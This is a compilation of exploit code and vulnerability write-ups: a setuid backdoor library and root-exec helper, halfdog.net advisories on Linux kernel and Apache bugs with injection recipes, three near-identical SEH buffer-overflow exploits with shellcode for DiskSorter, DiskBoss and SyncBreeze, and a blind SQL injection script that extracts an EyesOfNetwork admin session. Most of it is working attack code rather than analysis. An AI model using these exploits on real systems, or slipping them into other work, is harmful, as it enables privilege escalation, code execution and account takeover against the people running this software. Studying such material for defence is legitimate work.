#include <unistd.h>
/** Library initialization function, called by the linker. If not
* named _init, parameter has to be set during linking using -init=name
*/
extern void _init() {
fprintf(stderr, "LibPam.c: Within _init\n");
chown("/var/lib/ntp/Backdoor", 0, 0);
chmod("/var/lib/ntp/Backdoor", 04755);
}
--- EOF ---
--- SuidExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool changes to uid/gid 0 and executes the program supplied
* via arguments.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv) {
if(argc<2) {
fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
return(1);
}
int rUid, eUid, sUid, rGid, eGid, sGid;
getresuid(&rUid, &eUid, &sUid);
getresgid(&rGid, &eGid, &sGid);
if(setresuid(sUid, sUid, rUid)) {
fprintf(stderr, "Failed to set uids\n");
return(1);
}
if(setresgid(sGid, sGid, rGid)) {
fprintf(stderr, "Failed to set gids\n");
return(1);
}
execve(argv[1], argv+1, environ);
return(1);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2012/LinuxKernelBinfmtScriptStackDataDisclosure/
## Introduction
Problem description: Linux kernel binfmt_script handling in combination with CONFIG_MODULES can lead to disclosure of kernel stack data during execve via copy of data from dangling pointer to stack to growing argv list. Apart from that, the BINPRM_MAX_RECURSION can be exceeded: the maximum of 4 recursions is ignored, instead a maximum of roughly 2^6 recursions is in place.
## Method
Execution of a sequence of crafted scripts causes bprm->interp pointer to be set to data within current stack frame. When frame is left, data at location of dangling pointer can be overwritten before it is added to argv-list in next run and then exported to userspace.
## Results, Discussion
The overwrite is triggered when executables with special names handled by binfmt_script call each other until BINPRM_MAX_RECURSION is reached. During each round, load_script from fs/binfmt_script.c extracts the interpreter name for the next round and stores it within the current stack frame. The pointer to this name is also copied to bprm->interp and used during execution of the next interpreter (also a script) within search_binary_handler function. This is not problematic unless CONFIG_MODULES is also defined. When BINPRM_MAX_RECURSION is reached, load_script returns, thus leaving bprm->interp pointing to a now non-existing stack frame. Due to CONFIG_MODULES and the special interpreter name, search_binary_handler will trigger request for loading of module via request_module and invoke load_script again. The function will then append the data from dangling pointer bprm->interp to exec args, thus disclosing some kernel stack bytes. Output on 64-bit system might contain:
0000170: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000180: 4141 4141 2d35 3600 7878 7800 ffff ffff AAAA-56.xxx.....
0000190: ffff ff7f ffff ffff ffff ff7f 809a ac1d ................
00001a0: 0078 7878 000d 6669 6c65 2d41 4141 4141 .xxx..file-AAAAA
00001b0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
Apart from memory disclosure, reaching BINPRM_MAX_RECURSION will not terminate execve call with error, but invocation of load_script is triggered more than the intended maximum of loader invocations, leading to higher CPU consumption from single call to execve.
Impact: Impact is low, since exploitation would need local code execution anyway. Only disclosure of kernel addresses when System.map is not readable seems interesting. The increased CPU load itself could be deemed unproblematic, an attacker in the same position but without this POC would need to fork more processes instead to get same load, which is quite feasable in most situations.
Affected versions: Not clear right now, bug might have been introduced recently.
Ubuntu Oneiric i386 kernel (3.0.0-24-generic): Not affected, test script does not cause excessive recursion. Not clear if bug could be triggered using other conditions.
Ubuntu precise i386 and amd64 kernel (3.2.0-29-generic): Both affected
Further analysis: It seems, that this scheme with only binfmt_elf and binfmt_script cannot lead to kernel OOPS or problematic stack writes. It could be investigated, if additional modules, e.g. binfmt_misc could open such a hole.
Source: http://www.halfdog.net/Security/2011/ApacheScoreboardInvalidFreeOnShutdown/
## Introduction
Apache 2.2 webservers may use a shared memory segment to share child process status information (scoreboard) between the child processes and the parent process running as root. A child running with lower privileges than the parent process might trigger an invalid free in the privileged parent process during parent shutdown by modifying data on the shared memory segment.
## Method
A child process can trigger the bug by changing the value of ap_scoreboard_e sb_type, which resides in the global_score structure on the shared memory segment. The value is usually 2 (SB_SHARED):
typedef struct {
int server_limit;
int thread_limit;
ap_scoreboard_e sb_type;
ap_generation_t running_generation; /* the generation of children which
* should still be serving requests.
*/
apr_time_t restart_time;
int lb_limit;
} global_score;
When changing the scoreboard type of a shared memory segment to something else, the root process will try to release the shared memory using free during normal shutdown. Since the memory was allocated using mmap, not malloc, the call to free from ap_cleanup_scoreboard (server/scoreboard.c) triggers abort within libc.
apr_status_t ap_cleanup_scoreboard(void *d)
{
if (ap_scoreboard_image == NULL) {
return APR_SUCCESS;
}
if (ap_scoreboard_image->global->sb_type == SB_SHARED) {
ap_cleanup_shared_mem(NULL);
}
else {
free(ap_scoreboard_image->global);
free(ap_scoreboard_image);
ap_scoreboard_image = NULL;
}
return APR_SUCCESS;
}
Abort output is written to apache default error log:
[Fri Dec 30 10:19:57 2011] [notice] caught SIGTERM, shutting down
*** glibc detected *** /usr/sbin/apache2: free(): invalid pointer: 0xb76f4008 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x6ebc2)[0x17ebc2]
/lib/i386-linux-gnu/libc.so.6(+0x6f862)[0x17f862]
/lib/i386-linux-gnu/libc.so.6(cfree+0x6d)[0x18294d]
/usr/sbin/apache2(ap_cleanup_scoreboard+0x29)[0xa57519]
/usr/lib/libapr-1.so.0(+0x19846)[0x545846]
/usr/lib/libapr-1.so.0(apr_pool_destroy+0x52)[0x5449ec]
/usr/sbin/apache2(+0x1f063)[0xa52063]
/usr/sbin/apache2(main+0xeea)[0xa51e3a]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0x129113]
/usr/sbin/apache2(+0x1ef3d)[0xa51f3d]
======= Memory map: ========
00110000-00286000 r-xp 00000000 08:01 132367
To reproduce, attach to a www-data (non-root) child process and increment the value at offset 0x10 in the shared memory segment. The search and replace can also be accomplished by compiling LibScoreboardTest.c (http://www.halfdog.net/Security/2011/ApacheScoreboardInvalidFreeOnShutdown/LibScoreboardTest.c) and loading it into a child process using gdb --pid [childpid] and following commands:
set *(int*)($esp+4)="/var/www/libExploit.so"
set *(int*)($esp+8)=1
set $eip=*__libc_dlopen_mode
continue
Without gdb, the mod_setenv exploit demo (2nd attempt) (http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/DemoExploit.html) could be used to load the code.
--- LibScoreboardTest.c ---
/** gcc -Wall -c LibScoreboardTest.c
* ld -shared -Bdynamic LibScoreboardTest.o -L/lib -lc -o LibScoreboardTest.so
*/
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
extern void _init() {
int fd=-1, pos;
char mmapData[1<<16];
int mmapDataLen;
char str[1024];
char* sharedSegStart=NULL;
char* sharedSegEnd=NULL;
int sharedSegLen;
int result;
fd=open("/proc/self/maps", O_RDONLY);
mmapDataLen=0;
while((result=read(fd, mmapData+mmapDataLen, sizeof(mmapData)-mmapDataLen))>0) mmapDataLen+=result;
close(fd);
fd=open("/tmp/testlog", O_RDWR|O_CREAT, 0777);
result=sprintf(str, "Read %d\n", mmapDataLen);
write(fd, str, result);
write(fd, mmapData, mmapDataLen);
for(pos=0; pos<mmapDataLen;) {
result=sscanf(mmapData+pos, "%8x-%8x rw-s %8x ",
(int*)&sharedSegStart, (int*)&sharedSegEnd, &result);
if(result==3) break;
while((pos<mmapDataLen)&&(mmapData[pos]!='\n')) pos++;
if(pos==mmapDataLen) break;
pos++;
}
result=sprintf(str, "Shared seg data 0x%x-0x%x\n", (int)sharedSegStart,
(int)sharedSegEnd);
write(fd, str, result);
if(pos==mmapDataLen) return;
// Set ap_scoreboard_e sb_type=3
*(int*)(sharedSegStart+0x10)=3;
exit(0);
}
--- EOF --
Source: http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/
## Background
The Apache HTTP Server is an open-source HTTP server for modern operating systems including UNIX, Microsoft Windows, Mac OS/X and Netware. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services observing the current HTTP standards. Apache has been the most popular web server on the Internet since April of 1996.
## Problem Description
During routine testing, an integer overflow was found in apache2-mpm-worker 2.2.19 in the function ap_pregsub called from mod-setenvif. The issue affects all versions from 2.0.x to 2.0.64 and 2.2.x to 2.2.21, not depending on the mode of operation (worker, prefork, ..). When a header field is mangled using SetEnvIf, the new environment variable data can be multiples of the size of the submitted header field. When ap_pregsub from server/util.c calculates the buffer size using
else if (no < nmatch && pmatch[no].rm_so < pmatch[no].rm_eo) {
len += pmatch[no].rm_eo - pmatch[no].rm_so;
}
the length value overflows and is used in a subsequent allocation call of buffer too small:
dest = dst = apr_pcalloc(p, len + 1);
The subsequent filling of the buffer with user-supplied data leads to buffer overflow. Even without overflowing, the allocation of significant amounts of server memory for excessivly large environment variables should be considered a problem also.
## Impact
Depending on the input data, exploitation of this issue leads to:
- allocation of large quantities of server memory, killing processes due to out-of-memory conditions or reducing system performance to crawl due to massive swapping.
- invalid memory access when copying more than 4GB of data into the much smaller buffer. Since the loop copying the data uses only stack and libc-heap, not the apr pool, for source and destination addresses, copy process is linear, starting at low address and pool is separated by unaccessible memory pages for protection on linux. Usually this will only cause termination of the apache process, which is restarted automatically. The impact is increased system load and DOS-condition while under attack.
- At least with multi-threaded server (worker), arbitrary code execution is proven, on single-threaded varians, the use of crafted stop-sequences might allow code execution even on these systems. On many systems ASLR will reduce the efficiency of the attack, but even with ASLR enabled, the automatic restart of processes allows to probe for all possible mappings of libc. An attacker, that has already access to another account on the machen, might be able to use ApacheNoFollowSymlinkTimerace to learn the memory map of the process, thus having the posibility to reach nearly 100% efficiency.
To trigger this issue, mod_setenvif must be enabled and the attacker has to be able to place a crafted .htaccess file on the server. Since the triggering of the exploit might depend on a magic header field, the malicious .htaccess might be placed as backdoor in web-content .zip files or could be stored dormant on the server until activation by the corresponding magic request.
Source: http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/DemoExploit.html
## Starting Point
During routine testing, an integer overflow in apache2-mpm-worker 2.2.19 mod-setenvif was found. The crash occured when mangling request headers using a crafted .htaccess-file (http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/SingleThread-htaccess). The broken code was ap_pregsub in server/util.c, where the buffer size of a new header field could overflow, the value was then used for memory allocation. When copying data to the buffer an, overwrite of the an apr (apache portable runtime) memory-pool boundaries occured, similar to standard heap buffer overflows.
## Outline of Exploit
The main goals creating the exploit were:
- Exploit has to be triggerable via HTTP GET requests only
- Exploit data has to be 0-byte free to have valid HTTP-protocol
- No alternative way of heap-spraying is used, e.g. GET + content-length. All variants I knew of had much too low efficiency
- Use libc for ROP, although all libc-addresses start with 0-byte, which cannot be sent via HTTP
- Rely only on libc address guess, but not heap/stack address guess, unless guess could be made nearly 100% reliable
- Use the already open HTTP-connections and turn them into command connections on the fly
- Have exploit in less than 256 bytes
Two different exploit layouts were developed. The first one used multiple threads, so that one was overwriting the data of the second thread before hitting the end of the memory area. Precise timing was essential to get shell access.
The second one used a more crafted substitution expression, stopping the copy in a single thread by modifying the regular expression currently processed in the thread. Since there is race condition involved, this exploit was far more reliable than the first one.
Source: http://www.halfdog.net/Security/2011/SuidBinariesAndProcInterface/
# proc Handling of Already Opened Files: Subvert The Stack Base Address Randomization With Suid-Binaries
Problem description: Latest ubuntu lucid stock kernel (2.6.32-27-generic) contains a bug that allows to keep attached to open /proc file entries as lower privileged user even after the process is executing suid binary. By doing that, a malicous user might draw information from the proc interface or even modify process settings of privileged process.
Monitor syscalls, syscall stack, limits of running suid-binaries: A simple helper program (ProcReadHelper.c) is sufficient to open a proc entry before executing a suid program and keep it open. (SyscallReadExample.sh):
#!/bin/bash
(./ProcReadHelper /proc/$$/syscall) &
sleep 1
exec /usr/bin/passwd
Output:
Read 69 bytes:
7 0xffffffff 0xbff646ac 0x0 0x0 0xf4d 0xbff646c8 0xbff64654 0x64b422
Changing password for test.
(current) UNIX password: Read 69 bytes:
3 0x0 0xbffb4a84 0x1ff 0x0 0xbffb4a84 0xbffb4d18 0xbffb4814 0xf30422
Read 69 bytes:
3 0x0 0xbffb4a84 0x1ff 0x0 0xbffb4a84 0xbffb4d18 0xbffb4814 0xf30422
The same can be done with /proc/[pid]/stack or /proc/[pid]/limits, where one can see how passwd increases its limits to unlimited after invocation.
Modify core dump flags of running suid-binaries: Since proc is also writeable, the same technique can be used to modify open proc files, e.g. adjust the coredump filter of a currently running passwd program (ModifyCoreDumpFilter.sh):
#!/bin/bash
echo "Current pid is $$"
(sleep 10; echo 127 ) > /proc/$$/coredump_filter &
sleep 5
exec /usr/bin/passwd
Some open proc files can only be written by the process itself, e.g. /proc/[pid]/mem, a limitation that could be circumvented if any suid-binary echos out command line/input file/environment data, e.g. sudoedit -p xxx /etc/sudoers echos xxx. If /procc/[pid]/mem would be writeable on standard linux kernels, this program should give local root privilege escalation (SeekHelper.c), e.g. ./SeekHelper /proc/self/mem 8048000 /usr/bin/sudoedit -p xxx /etc/sudoers with a crafted address and promt payload. Currently something else is still blocking in kernel, could be fs/proc/base.c:
static ssize_t mem_read(struct file * file, char __user * buf,
size_t count, loff_t *ppos) {
...
if (file->private_data != (void*)((long)current->self_exec_id))
goto out_put;
Inject faults using oom_adjust: Some programs, e.g. from the shadow suite, try to disable all signals and limits to assure that critical code is not interrupted, e.g. modification of /etc/shadow when a unprivileged user changes his password. Since this program creates a lock file, interruption via oom_kill could leave stale lockfiles and so impede functionality.
test@localhost:~/Tasks/LowMemoryProgramCrashing$ cat OomRun.sh
#!/bin/bash
(sleep 3; echo 15) > /proc/$$/oom_adj &
exec /usr/bin/passwd
#!/usr/bin/env python
# Exploit Title: DiskSorter Enterprise 9.5.12 - 'Import Command' Buffer Overflow (SEH)
# Date: 2017-03-29
# Exploit Author: Daniel Teixeira
# Author Homepage: www.danielteixeira.com
# Vendor Homepage: http://www.disksorter.com
# Software Link: http://www.disksorter.com/setups/disksorterent_setup_v9.5.12.exe
# Version: 9.5.12
# Tested on: Windows 7 SP1 x86
import os,struct
#Buffer overflow
junk = "A" * 1536
#JMP ESP (QtGui4.dll)
jmpesp= struct.pack('<L',0x651bb77a)
#NOPS
nops = "\x90"
#LEA EAX, [ESP+76]
esp = "\x8D\x44\x24\x4C"
#JMP ESP
jmp = "\xFF\xE0"
#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (libspp.dll)
SEH = struct.pack('<L',0x10015FFE)
#CALC.EXE
shellcode = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"
#PAYLOAD
payload = junk + jmpesp + nops * 16 + esp + jmp + nops * 68 + nSEH + SEH + nops * 10 + shellcode + nops * 5000
#FILE
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + '\n</classify>'
f = open('Exploit.xml', 'w')
f.write(file)
f.close()
#!/usr/bin/env python
# Exploit Title: DiskBoss Enterprise v7.8.16 - 'Import Command' Buffer Overflow
# Date: 2017-03-29
# Exploit Author: Daniel Teixeira
# Author Homepage: www.danielteixeira.com
# Vendor Homepage: http://www.diskboss.com
# Software Link: http://www.diskboss.com/setups/diskbossent_setup_v7.8.16.exe
# Version: 9.5.12
# Tested on: Windows 7 SP1 x86
import os,struct
#Buffer overflow
junk = "A" * 1536
#JMP ESP (QtGui4.dll)
jmpesp= struct.pack('<L',0x651bb77a)
#NOPS
nops = "\x90"
#LEA EAX, [ESP+76]
esp = "\x8D\x44\x24\x4C"
#JMP ESP
jmp = "\xFF\xE0"
#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (libspp.dll)
SEH = struct.pack('<L',0x10015FFE)
#CALC.EXE
shellcode = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"
#PAYLOAD
payload = junk + jmpesp + nops * 16 + esp + jmp + nops * 68 + nSEH + SEH + nops * 10 + shellcode + nops * 5000
#FILE
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + '\n</classify>'
f = open('Exploit.xml', 'w')
f.write(file)
f.close()
#!/usr/bin/env python
# Exploit Title: Sync Breeze Enterprise 9.5.16 - 'Import Command' Buffer Overflow (SEH)
# Date: 2017-03-29
# Exploit Author: Daniel Teixeira
# Author Homepage: www.danielteixeira.com
# Vendor Homepage: http://www.syncbreeze.com
# Software Link: http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.5.16.exe
# Version: 9.5.16
# Tested on: Windows 7 SP1 x86
import os,struct
#Buffer overflow
junk = "A" * 1536
#JMP ESP (QtGui4.dll)
jmpesp= struct.pack('<L',0x651bb77a)
#NOPS
nops = "\x90"
#LEA EAX, [ESP+76]
esp = "\x8D\x44\x24\x4C"
#JMP ESP
jmp = "\xFF\xE0"
#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (libspp.dll)
SEH = struct.pack('<L',0x10015FFE)
#CALC.EXE
shellcode = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"
#PAYLOAD
payload = junk + jmpesp + nops * 16 + esp + jmp + nops * 68 + nSEH + SEH + nops * 10 + shellcode + nops * 5000
#FILE
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + '\n</classify>'
f = open('Exploit.xml', 'w')
f.write(file)
f.close()
# Exploit Title: EyesOfNetwork (EON) 5.1 Unauthenticated SQL Injection in eonweb leading to remote root
# Google Dork: intitle:EyesOfNetwork intext:"sponsored by AXIANS"
# Date: 29/03/2017
# Exploit Author: Dany Bach
# Vendor Homepage: https://www.eyesofnetwork.com/
# Software Link: http://download.eyesofnetwork.com/EyesOfNetwork-5.1-x86_64-bin.iso
# Version: EyesOfNetwork <= 5.1
# Tested on: EyesOfNetwork 5.1 and 5.0
# CVE: None
# Contact: Dany Bach [@ddxhunter, rioru.github.io]
# Advisory and description of the complete scenario: https://rioru.github.io/pentest/web/2017/03/28/from-unauthenticated-to-root-supervision.html
# Fix: None
import time
from requests import *
from requests.packages.urllib3.exceptions import InsecureRequestWarning
packages.urllib3.disable_warnings(InsecureRequestWarning)
url = "https://192.168.1.161"
print "[!] Proof of Concept for the Unauthenticated SQL Injection in EyesOfNetwork 5.1 (DELETE statement) - Rioru (@ddxhunter)"
def getTime(page, cookie=""):
start = time.time()
get(url+page, verify=False, cookies=dict(session_id=cookie))
end = time.time()
return round(end - start, 2)
# Getting an initial response time to base our next requests around it
initial_time = getTime("/") - 0.01
getTime("/logout.php", "rioru' OR user_id!=1 -- -")
print "[+] The initial request time on %s is %f, getting the number of entries, it could take a while..." % (url, initial_time)
sleep1_time = getTime("/logout.php", "rioru' OR SLEEP(1)=1337 -- -")
if (sleep1_time - initial_time >= 1):
count = round(sleep1_time)
print "[+] Found %d entries in the [sessions] table, deleting every sessions except one" % count
else:
print "[-] The table [sessions] seems empty"
exit()
for i in range(int(count) - 1):
getTime("/logout.php", "rioru' OR 1=1 LIMIT 1 -- -")
# Get the length
session_length = 0
for i in range(12):
execTime = getTime("/logout.php", "rioru' OR (SELECT CASE WHEN ((SELECT LENGTH(session_id) FROM DUAL ORDER BY session_id LIMIT 1)="+ str(i+1) +") THEN SLEEP(1) ELSE 1 END)=1337 -- -")
if (round(execTime - initial_time) >= 1):
session_length = i+1
break
if (session_length == 0):
print "[-] Couldn't find the length of the session_id"
exit()
print "[+] Found an admin session length: %d, getting the session_id" % session_length
# Get the session_id
print "[+] session_id: ",
session_id = ""
for i in range(session_length):
for j in range(10):
execTime = getTime("/logout.php", "rioru' OR (SELECT CASE WHEN (SUBSTRING((SELECT session_id FROM DUAL ORDER BY session_id LIMIT 1),"+ str(i+1) +",1)="+ str(j) +") THEN SLEEP(1) ELSE 1 END)=1337 -- -")
if (round(execTime - initial_time) >= 1):
session_id += str(j)
print str(j),
break
print "\n[+] final session_id: [%s]" % session_id
# Get the username
execTime = getTime("/logout.php", "rioru' OR (SELECT CASE WHEN ((SELECT user_name FROM users WHERE user_id=1)='admin') THEN SLEEP(1) ELSE 1 END)=1337 -- -")
if (round(execTime - initial_time) >= 1):
print "[+] Username is [admin]"
else:
print "[-] Username is not admin, brute force necessary"
print "[+] End of the PoC use these cookies to authenticate to Eonweb:"
print "session_id: %s;" % session_id
print "user_name: %s;" % "admin"
print "user_id: %d;" % 1
print "user_limitation: %d;" % 0
print "group_id: %d;" % 1
# Root privileges can be gained using snmpd once authenticated